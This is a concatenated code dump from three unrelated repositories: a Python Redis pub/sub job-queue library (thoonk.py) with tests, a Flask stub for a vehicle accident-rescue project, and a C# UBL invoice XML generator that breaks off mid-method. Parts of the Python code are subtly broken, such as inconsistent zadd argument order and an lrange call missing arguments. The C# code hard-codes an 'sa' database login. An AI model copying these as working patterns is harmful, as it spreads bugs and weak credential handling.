self.conf_feed = 'conffeed'
self.new_feed = 'newfeed'
self.del_feed = 'delfeed'
self.register_feedtype(u'feed', feeds.Feed)
self.register_feedtype(u'queue', feeds.Queue)
self.register_feedtype(u'job', feeds.Job)
self.register_feedtype(u'pyqueue', feeds.PythonQueue)
self.register_feedtype(u'sorted_feed', feeds.SortedFeed)
if listen:
#start listener thread
self.lthread = threading.Thread(target=self.listen)
self.lthread.daemon = True
self.lthread.start()
self.listen_ready.wait()
def _publish(self, schema, items):
"""
A shortcut method to publish items separated by \x00.
Arguments:
schema -- The key to publish the items to.
items -- A tuple or list of items to publish.
"""
self.redis.publish(schema, "\x00".join(items))
def __getitem__(self, feed):
"""
Return the configuration for a feed.
Arguments:
feed -- The name of the feed.
Returns: Dict
"""
return self._feed_config[feed]
def __setitem__(self, feed, config):
"""
Set the configuration for a feed.
Arguments:
feed -- The name of the feed.
config -- A dict of config values.
"""
self.set_config(feed, config)
def register_feedtype(self, feedtype, klass):
"""
Make a new feed type availabe for use.
New instances of the feed can be created by using:
self.<feedtype>()
For example: self.pyqueue() or self.job().
Arguments:
feedtype -- The name of the feed type.
klass -- The implementation class for the type.
"""
self.feedtypes[feedtype] = klass
def startclass(feed, config=None):
"""
Instantiate a new feed on demand.
Arguments:
feed -- The name of the new feed.
config -- A dictionary of configuration values.
Returns: Feed of type <feedtype>.
"""
if config is None:
config = {}
if self.feed_exists(feed):
return self[feed]
else:
if not config.get('type', False):
config['type'] = feedtype
return self.create_feed(feed, config)
setattr(self, feedtype, startclass)
def register_handler(self, name, handler):
"""
Register a function to respond to feed events.
Event types:
- create_notice
- delete_notice
- publish_notice
- retract_notice
- position_notice
Arguments:
name -- The name of the feed event.
handler -- The function for handling the event.
"""
if name not in self.handlers:
self.handlers[name] = []
self.handlers[name].append(handler)
def create_feed(self, feed, config):
"""
Create a new feed with a given configuration.
The configuration is a dict, and should include a 'type'
entry with the class of the feed type implementation.
Arguments:
feed -- The name of the new feed.
config -- A dictionary of configuration values.
"""
if config is None:
config = {}
if not self.redis.sadd("feeds", feed):
raise FeedExists
self.feeds.add(feed)
self.set_config(feed, config)
self._publish(self.new_feed, (feed, self._feed_config.instance))
return self[feed]
def delete_feed(self, feed):
"""
Delete a given feed.
Arguments:
feed -- The name of the feed.
"""
feed_instance = self._feed_config[feed]
deleted = False
while not deleted:
self.redis.watch('feeds')
if not self.feed_exists(feed):
return FeedDoesNotExist
pipe = self.redis.pipeline()
pipe.srem("feeds", feed)
for key in feed_instance.get_schemas():
pipe.delete(key)
self._publish(self.del_feed, (feed, self._feed_config.instance))
try:
pipe.execute()
deleted = True
except redis.exceptions.WatchError:
deleted = False
def set_config(self, feed, config):
"""
Set the configuration for a given feed.
Arguments:
feed -- The name of the feed.
config -- A dictionary of configuration values.
"""
if not self.feed_exists(feed):
raise FeedDoesNotExist
if type(config) == dict:
if u'type' not in config:
config[u'type'] = u'feed'
jconfig = json.dumps(config)
dconfig = config
else:
dconfig = json.loads(config)
if u'type' not in dconfig:
dconfig[u'type'] = u'feed'
jconfig = json.dumps(dconfig)
self.redis.set(self.feed_config % feed, jconfig)
self._publish(self.conf_feed, (feed, self._feed_config.instance))
def get_feeds(self):
"""
Return the set of known feeds.
Returns: set
"""
return self.feeds
def feed_exists(self, feed):
"""
Check if a given feed exists.
Arguments:
feed -- The name of the feed.
"""
if not self.listening:
if not feed in self.feeds:
if self.redis.sismember('feeds', feed):
self.feeds.add(feed)
return True
return False
else:
return True
return feed in self.feeds
def close(self):
"""Terminate the listening Redis connection."""
self.redis.connection.disconnect()
if self.listening:
self.lredis.connection.disconnect()
def listen(self):
"""
Listen for feed creation and manipulation events and execute
relevant event handlers. Specifically, listen for:
- Feed creations
- Feed deletions
- Configuration changes
- Item publications.
- Item retractions.
"""
# listener redis object
self.lredis = redis.Redis(host=self.host, port=self.port, db=self.db)
# subscribe to feed activities channel
self.lredis.subscribe((self.new_feed, self.del_feed, self.conf_feed))
# get set of feeds
self.feeds.update(self.redis.smembers('feeds'))
if self.feeds:
# subscribe to exist feeds retract and publish
for feed in self.feeds:
self.lredis.subscribe(self[feed].get_channels())
self.listen_ready.set()
for event in self.lredis.listen():
if event['type'] == 'message':
if event['channel'].startswith('feed.publish'):
#feed publish event
id, item = event['data'].split('\x00', 1)
self.publish_notice(event['channel'].split(':', 1)[-1],
item, id)
elif event['channel'].startswith('feed.retract'):
self.retract_notice(event['channel'].split(':', 1)[-1],
event['data'])
elif event['channel'].startswith('feed.position'):
self.position_notice(event['channel'].split(':', 1)[-1],
event['data'])
elif event['channel'] == self.new_feed:
#feed created event
name, instance = event['data'].split('\x00')
self.feeds.add(name)
self.lredis.subscribe((self.feed_publish % name,
self.feed_retract % name))
self.create_notice(name)
elif event['channel'] == self.del_feed:
#feed destroyed event
name, instance = event['data'].split('\x00')
try:
self.feeds.remove(name)
except KeyError:
#already removed -- probably locally
pass
self._feed_config.invalidate(name, instance, delete=True)
self.delete_notice(name)
elif event['channel'] == self.conf_feed:
feed, instance = event['data'].split('\x00', 1)
self._feed_config.invalidate(feed, instance)
def create_notice(self, feed):
"""
Generate a notice that a new feed has been created and
execute any relevant event handlers.
Arguments:
feed -- The name of the created feed.
"""
for handler in self.handlers['create_notice']:
handler(feed)
def delete_notice(self, feed):
"""
Generate a notice that a feed has been deleted, and
execute any relevant event handlers.
Arguments:
feed -- The name of the deleted feed.
"""
for handler in self.handlers['delete_notice']:
handler(feed)
def publish_notice(self, feed, item, id):
"""
Generate a notice that an item has been published to a feed, and
execute any relevant event handlers.
Arguments:
feed -- The name of the feed.
item -- The content of the published item.
id -- The ID of the published item.
"""
self[feed].event_publish(id, item)
for handler in self.handlers['publish_notice']:
handler(feed, item, id)
def retract_notice(self, feed, id):
"""
Generate a notice that an item has been retracted from a feed, and
execute any relevant event handlers.
Arguments:
feed -- The name of the feed.
id -- The ID of the retracted item.
"""
self[feed].event_retract(id)
for handler in self.handlers['retract_notice']:
handler(feed, id)
def position_notice(self, feed, id, rel_id):
"""
Generate a notice that an item has been moved, and
execute any relevant event handlers.
Arguments:
feed -- The name of the feed.
id -- The ID of the moved item.
rel_id -- Where the item was moved, in relation to
existing items.
"""
for handler in self.handlers['position_notice']:
handler(feed, id, rel_id)
<file_sep>/thoonk/feeds/job.py
"""
Written by <NAME> and <NAME>. Copyright 2011 by &yet, LLC.
Released under the terms of the MIT License
"""
import time
import uuid
from thoonk.exceptions import *
from thoonk.feeds import Queue
class JobDoesNotExist(Exception):
pass
class JobNotPending(Exception):
pass
class Job(Queue):
"""
A Thoonk Job is a queue which does not completely remove items
from the queue until a task completion notice is received.
Job Item Lifecycle:
- A job is created using self.put() with the data for the job.
- The job is moved to a claimed state when a worker retrieves
the job data from the queue.
- The worker performs any processing required, and calls
self.finish() with the job's result data.
- The job is marked as finished and removed from the queue.
Alternative: Job Cancellation
- After a worker has claimed a job, it calls self.cancel() with
the job's ID, possibly because of an error or lack of required
resources.
- The job is moved from a claimed state back to the queue.
Alternative: Job Stalling
- A call to self.stall() with the job ID is made.
- The job is moved out of the queue and into a stalled state. While
stalled, the job will not be dispatched.
- A call to self.retry() with the job ID is made.
- The job is moved out of the stalled state and back into the queue.
Alternative: Job Deletion
- A call to self.retract() with the job ID is made.
- The job item is completely removed from the queue and any
other job states.
Redis Keys Used:
feed.published:[feed] -- A time sorted set of queued jobs.
feed.cancelled:[feed] -- A hash table of cancelled jobs.
feed.claimed:[feed] -- A hash table of claimed jobs.
feed.stalled:[feed] -- A hash table of stalled jobs.
feeed.funning:[feed] -- A hash table of running jobs.
feed.finished:[feed]\x00[id] -- Temporary queue for receiving job
result data.
Thoonk.py Implementation API:
get_schemas -- Return the set of Redis keys used by this feed.
Thoonk Standard API:
cancel -- Move a job from a claimed state back into the queue.
finish -- Mark a job as completed and store the results.
get -- Retrieve the next job from the queue.
get_ids -- Return IDs of all jobs in the queue.
get_result -- Retrieve the result of a job.
maintenance -- Perform periodic house cleaning.
put -- Add a new job to the queue.
retract -- Completely remove a job from use.
retry -- Resume execution of a stalled job.
stall -- Pause execution of a queued job.
"""
def __init__(self, thoonk, feed, config=None):
"""
Create a new Job queue object for a given Thoonk feed.
Note: More than one Job queue objects may be create for
the same Thoonk feed, and creating a Job queue object
does not automatically generate the Thoonk feed itself.
Arguments:
thoonk -- The main Thoonk object.
feed -- The name of the feed.
config -- Optional dictionary of configuration values.
"""
Queue.__init__(self, thoonk, feed, config=None)
self.feed_published = 'feed.published:%s' % feed
self.feed_cancelled = 'feed.cancelled:%s' % feed
self.feed_job_claimed = 'feed.claimed:%s' % feed
self.feed_job_stalled = 'feed.stalled:%s' % feed
self.feed_job_finished = 'feed.finished:%s\x00%s' % (feed, '%s')
self.feed_job_running = 'feed.running:%s' % feed
def get_schemas(self):
"""Return the set of Redis keys used exclusively by this feed."""
schema = set((self.feed_job_claimed,
self.feed_job_stalled,
self.feed_job_running,
self.feed_published,
self.feed_cancelled))
for id in self.get_ids():
schema.add(self.feed_job_finished % id)
return schema.union(Queue.get_schemas(self))
def get_ids(self):
"""Return the set of IDs used by jobs in the queue."""
return self.redis.hkeys(self.feed_items)
def retract(self, id):
"""
Completely remove a job from use.
Arguments:
id -- The ID of the job to remove.
"""
while True:
self.redis.watch(self.feed_items)
if self.redis.hexists(self.feed_items, id):
pipe = self.redis.pipeline()
pipe.hdel(self.feed_items, id)
pipe.hdel(self.feed_cancelled, id)
pipe.zrem(self.feed_published, id)
pipe.srem(self.feed_job_stalled, id)
pipe.zrem(self.feed_job_claimed, id)
pipe.lrem(self.feed_ids, 1, id)
pipe.delete(self.feed_job_finished % id)
try:
pipe.execute()
return
except redis.exceptions.WatchError:
pass
else:
self.redis.unwatch()
break
def put(self, item, priority=False):
"""
Add a new job to the queue.
(Same as self.publish())
Arguments:
item -- The content to add to the queue (string).
priority -- Optional priority; if equal to True then
the item will be inserted at the head of the
queue instead of the end.
"""
id = uuid.uuid4().hex
pipe = self.redis.pipeline()
if priority:
pipe.rpush(self.feed_ids, id)
pipe.hset(self.feed_items, id, item)
pipe.zadd(self.feed_publishes, id, time.time())
else:
pipe.lpush(self.feed_ids, id)
pipe.incr(self.feed_publishes)
pipe.hset(self.feed_items, id, item)
pipe.zadd(self.feed_published, id, time.time())
results = pipe.execute()
return id
def get(self, timeout=0):
"""
Retrieve the next job from the queue.
Raises an Empty exception if the request times out.
Arguments:
timeout -- Optional time in seconds to wait before
raising an exception.
"""
id = self.redis.brpop(self.feed_ids, timeout)
if id is None:
return # raise exception?
id = id[1]
pipe = self.redis.pipeline()
pipe.zadd(self.feed_job_claimed, id, time.time())
pipe.hget(self.feed_items, id)
result = pipe.execute()
return id, result[1]
def finish(self, id, item=None, result=False, timeout=None):
"""
Mark a job as completed, and store any results.
Arguments:
id -- The ID of the completed job.
item -- The result data from the job.
result -- Flag indicating that result data should be stored.
Defaults to False.
timeout -- Time in seconds to keep the result data. The default
is to store data indefinitely until retrieved.
"""
while True:
self.redis.watch(self.feed_job_claimed)
if self.redis.zrank(self.feed_job_claimed, id) is None:
self.redis.unwatch()
return # raise exception?
query = self.redis.hget(self.feed_items, id)
pipe = self.redis.pipeline()
pipe.zrem(self.feed_job_claimed, id)
pipe.hdel(self.feed_cancelled, id)
if result:
pipe.lpush(self.feed_job_finished % id, item)
if timeout is not None:
pipe.expire(self.feed_job_finished % id, timeout)
pipe.hdel(self.feed_items, id)
try:
result = pipe.execute()
break
except redis.exceptions.WatchError:
pass
def get_result(self, id, timeout=0):
"""
Retrieve the result of a given job.
Arguments:
id -- The ID of the job to check for results.
timeout -- Time in seconds to wait for results to arrive.
Default is to block indefinitely.
"""
result = self.redis.brpop(self.feed_job_finished % id, timeout)
if result is not None:
return result
def cancel(self, id):
"""
Move a claimed job back to the queue.
Arguments:
id -- The ID of the job to cancel.
"""
while True:
self.redis.watch(self.feed_job_claimed)
if self.redis.zrank(self.feed_job_claimed, id) is None:
self.redis.unwatch()
return # raise exception?
pipe = self.redis.pipeline()
pipe.hincrby(self.feed_cancelled, id, 1)
pipe.lpush(self.feed_ids, id)
pipe.zrem(self.feed_job_claimed, id)
try:
pipe.execute()
break
except redis.exceptions.WatchError:
pass
def stall(self, id):
"""
Move a job out of the queue in order to pause processing.
While stalled, a job will not be dispatched to requesting workers.
Arguments:
id -- The ID of the job to pause.
"""
while True:
self.redis.watch(self.feed_job_claimed)
if self.redis.zrank(self.feed_job_claimed, id) is None:
self.redis.unwatch()
return # raise exception?
pipe = self.redis.pipeline()
pipe.zrem(self.feed_job_claimed, id)
pipe.hdel(self.feed_cancelled, id)
pipe.sadd(self.feed_job_stalled, id)
pipe.zrem(self.feed_published, id)
try:
pipe.execute()
break
except redis.exceptions.WatchError:
pass
def retry(self, id):
"""
Move a job from a stalled state back into the job queue.
Arguments:
id -- The ID of the job to resume.
"""
while True:
self.redis.watch(self.feed_job_stalled)
if self.redis.sismember(self.feed_job_stalled, id) is None:
self.redis.unwatch()
return # raise exception?
pipe = self.redis.pipeline()
pipe.srem(self.feed_job_stalled, id)
pipe.lpush(self.feed_ids, id)
pipe.zadd(self.feed_published, time.time(), id)
try:
results = pipe.execute()
if not results[0]:
return # raise exception?
break
except redis.exceptions.WatchError:
pass
def maintenance(self):
"""
Perform periodic house cleaning.
Fix any inconsistencies such as jobs that are not in any state, etc,
that can be caused by software crashes and other unexpected events.
Expected use is to create a maintenance thread for periodically
calling this method.
"""
pipe = self.redis.pipeline()
pipe.hkeys(self.feed_items)
pipe.lrange(self.feed_ids)
pipe.zrange(self.feed_job_claimed, 0, -1)
pipe.stall = pipe.smembers(self.feed_job_stalled)
keys, avail, claim, stall = pipe.execute()
unaccounted = [key for key in keys if (key not in avail and \
key not in claim and \
key not in stall)]
for key in unaccounted:
self.redis.lpush(self.feed_ids, key)
<file_sep>/thoonk/exceptions.py
"""
Written by <NAME> and <NAME>. Copyright 2011 by &yet, LLC.
Released under the terms of the MIT License
"""
class FeedExists(Exception):
pass
class NotAllowed(Exception):
pass
class FeedDoesNotExist(Exception):
pass
class ItemDoesNotExist(Exception):
pass
<file_sep>/tests/test_job.py
import thoonk
import unittest
import math
from ConfigParser import ConfigParser
class TestJob(unittest.TestCase):
def __init__(self, *args, **kwargs):
unittest.TestCase.__init__(self, *args, **kwargs)
conf = ConfigParser()
conf.read('test.cfg')
if conf.sections() == ['Test']:
self.ps = thoonk.Thoonk(host=conf.get('Test', 'host'),
port=conf.getint('Test', 'port'),
db=conf.getint('Test', 'db'))
self.ps.redis.flushdb()
else:
print 'No test configuration found in test.cfg'
exit()
def setUp(self):
self.ps = thoonk.Pubsub(db=10, listen=True)
self.ps.redis.flushdb()
def tearDown(self):
self.ps.close()
def test_10_basic_job(self):
"""JOB publish, retrieve, finish, get result"""
#publisher
testjob = self.ps.job("testjob")
id = testjob.put(9.0)
#worker
testjobworker = self.ps.job("testjob")
id_worker, query_worker = testjobworker.get(timeout=3)
result_worker = math.sqrt(float(query_worker))
testjobworker.finish(id_worker, result_worker, True)
#publisher gets result
query_publisher, result_publisher = testjob.get_result(id, 1)
self.assertEqual(float(result_worker), float(result_publisher), "Job results did not match publish.")
self.assertEqual(testjob.get_ids(), [])
def test_20_cancel_job(self):
"""Test cancelling a job"""
j = self.ps.job("testjob")
#publisher
id = j.put(9.0)
#worker claims
id, query = j.get()
#publisher or worker cancels
j.cancel(id)
id2, query2 = j.get()
self.assertEqual(id, id2)
#cancel the work again
j.cancel(id)
#cleanup -- remove the job from the queue
j.retract(id)
self.assertEqual(j.get_ids(), [])
suite = unittest.TestLoader().loadTestsFromTestCase(TestJob)
| 6b0db650769780592cf201c38eef0dbfd2154c73 | [
"Python"
] | 6 | Python | six8/thoonk.py | 5dd936489bb5218f085a98b007fc9c1c12e79845 | 55889173f02d31735eedafa7342fc0a7a7e69c4d |
refs/heads/master | <repo_name>lixianhang/JP-Safety-CAV-System<file_sep>/README.md
# JP-Safety-CAV-System
Our project is designed to solve the accident problem.
My solution is to use the IoT tech and automatical mapping and driving for searching and rescuring.
Our purpose is to build a complete system including the cloud platform , the hardware(represent the vehicles)and the mobile app.
The essensial parts is connected within the Internet.
When people registers their accounts in our software ,we bounds that plate with their imformation.
If the emergency car detect the number of license plate and brand of a car in accident, it will get the information from the database.
So we need build a web server at our cloud platform, and database.
The client will be set up as an APP. It can estabilish the real-time location and even the images of the accident transmitted by the camera.
As for the cloud platform , the protocols and the data processing should be considered well.
<file_sep>/IoTweb/app/web/TFL.py
from app.web import web
from flask import request, jsonify
from app.forms.tfl_search import SearchForm
from app.spyder.search_tfl import search_on_tfl
@web.route('/tfl/search')
def search():
form=SearchForm(request.args)
query=form.data
result=search_on_tfl.search_by_query (query)
return jsonify(result)<file_sep>/IoTweb/app/__init__.py
from flask import Flask
def create_app():
app=Flask(__name__)
register_blueprint(app)
return app
def register_blueprint(app):
from app.web.TFL import web
app.register_blueprint(web)
| ec63171e32ae89b6eff60921f0317fbb0ac2d777 | [
"Markdown",
"Python"
] | 3 | Markdown | lixianhang/JP-Safety-CAV-System | 58094199d6666542b28a5abaa1e5e500b57a2f7e | 9399401d248dd39f8aed2ea53b4db5774f14853a |
refs/heads/master | <file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Data.Sql;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using System.IO;
using System.Net;
using System.Xml;
using System.Xml.Schema;
using System.Xml.XPath;
using System.Xml.Xsl;
namespace TestXML
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
try
{
DataSet ds;
String sInvoiceNumber = "";
String sPath = "";
//fetch data for this invoice
String connectionString = "Data Source=TOG-HOME-03;Initial Catalog=dbInvoice;Persist Security Info=True;User ID=sa;Password=<PASSWORD>;";
String cmd = String.Format("SELECT * FROM vw_INVOICE_Final WHERE INVOICE_Final_Header_ID = {0}", 4003);
using (SqlConnection conn = new SqlConnection(connectionString))
{
SqlCommand sqlCmd = new SqlCommand(cmd, conn);
SqlDataAdapter adapter = new SqlDataAdapter(sqlCmd);
ds = new DataSet("Invoice");
adapter.Fill(ds);
}
//test if datavalid
if (ds == null)
{
throw new Exception("no data");
}
if (ds.Tables.Count == 0)
{
throw new Exception("no data");
}
if (ds.Tables[0].Rows.Count == 0)
{
throw new Exception("no data");
}
//determine invoicenumber
sInvoiceNumber = ds.Tables[0].Rows[0]["INVOICE_Final_Header_OwnInvoiceNumber"].ToString();
//create xml document
XmlDocument oXML = new XmlDocument();
XmlNode oInvoice = oXML.CreateElement("Invoice");
oXML.AppendChild(oInvoice);
XmlAttribute oSchemaLocation = oXML.CreateAttribute("xsi", "schemaLocation", "urn:oasis:names:specification:ubl:schema:xsd:Invoice-2 http://docs.oasis-open.org/ubl/os-UBL-2.1/xsd/maindoc/UBL-Invoice-2.1.xsd urn:www.energie-efactuur.nl:profile:invoice:ver1.0.0 ../SEeF_UBLExtension_v1.0.0.xsd");
oSchemaLocation.Value = "urn:oasis:names:specification:ubl:schema:xsd:Invoice-2 http://docs.oasis-open.org/ubl/os-UBL-2.1/xsd/maindoc/UBL-Invoice-2.1.xsd urn:www.energie-efactuur.nl:profile:invoice:ver1.0.0 ../SEeF_UBLExtension_v1.0.0.xsd";
oXML.DocumentElement.SetAttributeNode(oSchemaLocation);
oXML.DocumentElement.SetAttribute("xmlns:ext", "urn:oasis:names:specification:ubl:schema:xsd:CommonExtensionComponents-2");
oXML.DocumentElement.SetAttribute("xmlns:seef", "urn:www.energie-efactuur.nl:profile:invoice:ver1.0.0");
oXML.DocumentElement.SetAttribute("xmlns:xsi", "http://www.w3.org/2001/XMLSchema-instance");
oXML.DocumentElement.SetAttribute("xmlns:cbc", "urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2");
oXML.DocumentElement.SetAttribute("xmlns:cac", "urn:oasis:names:specification:ubl:schema:xsd:CommonAggregateComponents-2");
oXML.DocumentElement.SetAttribute("xmlns", "urn:oasis:names:specification:ubl:schema:xsd:Invoice-2");
//cbc:UBLVersionID
XmlNode oUBLVersionID = oXML.CreateElement("cbc", "UBLVersionID", "urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2");
oUBLVersionID.InnerText = "2.1";
oInvoice.AppendChild(oUBLVersionID);
//cbc:CustomizationID
XmlNode oCustomizationID = oXML.CreateElement("cbc","CustomizationID", "urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2");
oCustomizationID.InnerText = "urn:www.cenbii.eu:transaction:biitrns010:ver2.0: extended:urn:www.peppol.eu:bis:peppol4a:ver2.0: extended:urn:www.simplerinvoicing.org:si:si-ubl:ver1.1.x";
oInvoice.AppendChild(oCustomizationID);
//cbc:ProfileID
XmlNode oProfileID = oXML.CreateElement("cbc", "ProfileID", "urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2");
oProfileID.InnerText = "urn:www.energie-efactuur.nl:profile:invoice:ver1.0.0";
oInvoice.AppendChild(oProfileID);
//cbc:ID
XmlNode oInvoiceNumber = oXML.CreateElement("cbc", "ID", "urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2");
oInvoiceNumber.InnerText = sInvoiceNumber;
oInvoice.AppendChild(oInvoiceNumber);
//cbc:IssueDate
XmlNode oIssueDate = oXML.CreateElement("cbc", "IssueDate", "urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2");
oIssueDate.InnerText = String.Format("{0:yyyy-MM-dd}", ds.Tables[0].Rows[0]["INVOICE_Final_Header_InvoiceDate"]);
oInvoice.AppendChild(oIssueDate);
//cbc:InvoiceTypeCode
XmlNode oInvoiceTypeCode = oXML.CreateElement("cbc", "InvoiceTypeCode", "urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2");
XmlAttribute oInvoiceTypeCode_listID = oXML.CreateAttribute("listID");
oInvoiceTypeCode_listID.Value = "UNCL1001";
oInvoiceTypeCode.Attributes.Append(oInvoiceTypeCode_listID);
XmlAttribute oInvoiceTypeCode_listAgencyID = oXML.CreateAttribute("listAgencyID");
oInvoiceTypeCode_listAgencyID.Value = "6";
oInvoiceTypeCode.Attributes.Append(oInvoiceTypeCode_listAgencyID);
//380 debet, 384 credit
if (Convert.ToInt32(ds.Tables[0].Rows[0]["INVOICE_Final_Header_InvoiceType_ID"]) == 1)
{
oInvoiceTypeCode.InnerText = "380";
}
else
{
oInvoiceTypeCode.InnerText = "384";
}
oInvoice.AppendChild(oInvoiceTypeCode);
//cbc:Note
XmlNode oNote = oXML.CreateElement("cbc", "Note", "urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2");
oNote.InnerText = "...";
oInvoice.AppendChild(oNote);
//cbc:DocumentCurrencyCode -- todo:map or fetch correct value from query
XmlNode oDocumentCurrencyCode = oXML.CreateElement("cbc", "DocumentCurrencyCode", "urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2");
oDocumentCurrencyCode.InnerText = String.Format("{0}", ds.Tables[0].Rows[0]["INVOICE_Final_Header_Currency_Code"]);
oInvoice.AppendChild(oDocumentCurrencyCode);
//cbc:AccountingCost
//cac:InvoicePeriod
XmlNode oInvoicePeriod = oXML.CreateElement("cac", "InvoicePeriod", "urn:oasis:names:specification:ubl:schema:xsd:CommonAggregateComponents-2");
oInvoice.AppendChild(oInvoicePeriod);
// cbc:StartDate
XmlNode oInvoicePeriod_StartDate = oXML.CreateElement("cbc", "StartDate", "urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2");
oInvoicePeriod_StartDate.InnerText = String.Format("{0:yyyy-MM-dd}", ds.Tables[0].Rows[0]["INVOICE_Final_Header_InvoicePeriodStart"]);
oInvoicePeriod.AppendChild(oInvoicePeriod_StartDate);
// cbc:EndDate
XmlNode oInvoicePeriod_EndDate = oXML.CreateElement("cbc", "EndDate", "urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2");
oInvoicePeriod_EndDate.InnerText = String.Format("{0:yyyy-MM-dd}", ds.Tables[0].Rows[0]["INVOICE_Final_Header_InvoicePeriodEnd"]);
oInvoicePeriod.AppendChild(oInvoicePeriod_EndDate);
if (String.Format("{0}", ds.Tables[0].Rows[0]["INVOICE_Final_Header_SalesOrderNumber"]) != "")
{
//cac:OrderReference
XmlNode oOrderReference = oXML.CreateElement("cac", "OrderReference", "urn:oasis:names:specification:ubl:schema:xsd:CommonAggregateComponents-2");
oInvoice.AppendChild(oOrderReference);
// cbc:ID
XmlNode oOrderReference_ID = oXML.CreateElement("cbc", "ID", "urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2");
oOrderReference_ID.InnerText = String.Format("{0}", ds.Tables[0].Rows[0]["INVOICE_Final_Header_SalesOrderNumber"]);
oOrderReference.AppendChild(oOrderReference_ID);
}
if (String.Format("{0}", ds.Tables[0].Rows[0]["INVOICE_Final_Header_OwnReference"]) != "")
{
//cac:BillingReference
XmlNode oBillingReference = oXML.CreateElement("cac", "BillingReference", "urn:oasis:names:specification:ubl:schema:xsd:CommonAggregateComponents-2");
oInvoice.AppendChild(oBillingReference);
// cac:InvoiceDocumentReference
XmlNode oBillingReference_InvoiceDocumentReference = oXML.CreateElement("cac", "InvoiceDocumentReference", "urn:oasis:names:specification:ubl:schema:xsd:CommonAggregateComponents-2");
oBillingReference.AppendChild(oBillingReference_InvoiceDocumentReference);
// cbc:ID
XmlNode oBillingReference_InvoiceDocumentReference_ID = oXML.CreateElement("cbc", "ID", "urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2");
oBillingReference_InvoiceDocumentReference_ID.InnerText = String.Format("{0}", ds.Tables[0].Rows[0]["INVOICE_Final_Header_OwnReference"]);
oBillingReference_InvoiceDocumentReference.AppendChild(oBillingReference_InvoiceDocumentReference_ID);
}
//cac: AccountingSupplyParty
XmlNode oAccountingSupplyParty = oXML.CreateElement("cac", "AccountingSupplyParty", "urn:oasis:names:specification:ubl:schema:xsd:CommonAggregateComponents-2");
oInvoice.AppendChild(oAccountingSupplyParty);
// cac:Party
XmlNode oAccountingSupplyParty_Party = oXML.CreateElement("cac", "Party", "urn:oasis:names:specification:ubl:schema:xsd:CommonAggregateComponents-2");
oAccountingSupplyParty.AppendChild(oAccountingSupplyParty_Party);
// cac:PartyIdentification
XmlNode oAccountingSupplyParty_PartyIdentification = oXML.CreateElement("cac", "PartyIdentification", "urn:oasis:names:specification:ubl:schema:xsd:CommonAggregateComponents-2");
oAccountingSupplyParty_Party.AppendChild(oAccountingSupplyParty_PartyIdentification);
// cbc:ID
XmlNode oAccountingSupplyParty_PartyIdentification_ID = oXML.CreateElement("cbc", "ID", "urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2");
oAccountingSupplyParty_PartyIdentification_ID.InnerText = String.Format("{0}", ds.Tables[0].Rows[0]["INVOICE_Final_Header_Sender_KvKNumber"]);
oAccountingSupplyParty_PartyIdentification.AppendChild(oAccountingSupplyParty_PartyIdentification_ID);
// cac:PartyName
XmlNode oAccountingSupplyParty_PartyName = oXML.CreateElement("cac", "PartyName", "urn:oasis:names:specification:ubl:schema:xsd:CommonAggregateComponents-2");
oAccountingSupplyParty_Party.AppendChild(oAccountingSupplyParty_PartyName);
// cbc:Name
XmlNode oAccountingSupplyParty_PartyName_Name = oXML.CreateElement("cbc", "Name", "urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2");
oAccountingSupplyParty_PartyName_Name.InnerText = String.Format("{0}", ds.Tables[0].Rows[0]["INVOICE_Final_Header_Sender_Name"]);
oAccountingSupplyParty_PartyName.AppendChild(oAccountingSupplyParty_PartyName_Name);
// cac:PostalAddress
XmlNode oAccountingSupplyParty_Party_PostalAddress = oXML.CreateElement("cac", "PostalAddress", "urn:oasis:names:specification:ubl:schema:xsd:CommonAggregateComponents-2");
oAccountingSupplyParty_Party.AppendChild(oAccountingSupplyParty_Party_PostalAddress);
// cbc:Postbox
XmlNode oAccountingSupplyParty_Party_PostalAddress_Postbox = oXML.CreateElement("cbc", "Postbox", "urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2");
oAccountingSupplyParty_Party_PostalAddress_Postbox.InnerText = String.Format("{0}", ds.Tables[0].Rows[0]["INVOICE_Final_Header_Sender_InvoiceAddress_Line1"]);
oAccountingSupplyParty_Party_PostalAddress.AppendChild(oAccountingSupplyParty_Party_PostalAddress_Postbox);
// cbc:StreetName
XmlNode oAccountingSupplyParty_Party_PostalAddress_StreetName = oXML.CreateElement("cbc", "StreetName", "urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2");
oAccountingSupplyParty_Party_PostalAddress_StreetName.InnerText = String.Format("{0}", ds.Tables[0].Rows[0]["INVOICE_Final_Header_Sender_InvoiceAddress_Line1"]);
oAccountingSupplyParty_Party_PostalAddress.AppendChild(oAccountingSupplyParty_Party_PostalAddress_StreetName);
// cbc:BuildingNumber
XmlNode oAccountingSupplyParty_Party_PostalAddress_BuildingNumber = oXML.CreateElement("cbc", "BuildingNumber", "urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2");
oAccountingSupplyParty_Party_PostalAddress_BuildingNumber.InnerText = String.Format("{0}", ds.Tables[0].Rows[0]["INVOICE_Final_Header_Sender_InvoiceAddress_Line1"]);
oAccountingSupplyParty_Party_PostalAddress.AppendChild(oAccountingSupplyParty_Party_PostalAddress_BuildingNumber);
// cbc:CityName
XmlNode oAccountingSupplyParty_Party_PostalAddress_CityName = oXML.CreateElement("cbc", "CityName", "urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2");
